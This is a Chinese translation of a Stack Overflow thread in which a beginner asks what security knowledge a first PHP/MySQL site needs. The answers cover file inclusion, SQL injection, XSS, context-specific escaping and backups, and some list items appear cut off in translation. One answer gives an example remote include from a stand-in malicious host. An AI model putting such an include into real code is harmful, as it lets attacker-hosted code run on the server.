我正在编写我的第一个php/mysql站点,并意识到除了在我的课程/书中学到的之外,我对安全性知之甚少。我需要多少安全知识才能发布自己的网站,而不必担心即使取得了适度的成功也会吸引黑客并导致我的网站被侵入?
如果它有助于提供更多的细节,我将创建一个站点,允许用户添加纯文本内容,并浏览其他用户添加的内容。文本应该存储在数据库中。
发布于 2013-02-12 13:05:41
您不可能知道所有的事情,所以这取决于您的代码有哪些可能的攻击向量以及风险是什么。
问自己:
include 'http://evil.example.com/hack.txt';)。请参阅:PHP --“包括”函数是否安全?mysql_函数了。请参阅:mysql扩展被废弃,并将在将来删除:使用mysqli或PDO代替。PHP_SELF作为它的操作,因为服务器变量。此列表不完整,但应涵盖最常见的简单web应用程序的用例及其安全威胁。
关于风险的:
一旦您处理用户的合理个人数据或将站点托管到您自己的虚拟服务器上,您就需要承担额外的责任,因为最糟糕的情况不再仅仅是您的站点可能被破坏,而是私有数据可能被公开,您的服务器可能会变成垃圾邮件,甚至更糟。
最重要的规则是:不信任任何传入数据
对于这个规则的扩展,对于初学者非常重要,:准确地使用适合当前上下文的度量。不要仅仅把所有的东西都抛到你所知道的用户输入上,希望它更安全,这是counterproductive!我经常会遇到这样的问题:“如果我在所有的addslashes(mysql_real_escape_string(strip_tags(htmlspecialchars())))变量上使用$_POST,我的应用程序安全吗?”--如果您甚至认为这是一种有效的方法,您就会严重误解关于用户输入的安全性是如何工作的。重复一遍:什么是安全的,什么不是安全的,总是取决于上下文!
一个很好的学习资源是开放Web应用程序安全项目。
发布于 2013-02-12 12:34:16
这是不够的。但希望你能继续进步。也许等你准备好了,你就会了解自己。
学习最常见的安全问题,例如:
并记住:
还可以看看本指南,它总结了最著名的安全问题。
发布于 2013-02-12 12:33:17
看看SQL注入和XSS。所有这些都是为了验证用户的输入。永远不要相信用户。
SQL注入
XSS
最后,最好的学习方法是因为安全性不好而遭受攻击。那你就明白它是怎么工作的了。只要一个提示,做备份。
https://stackoverflow.com/questions/14832569
复制相似问题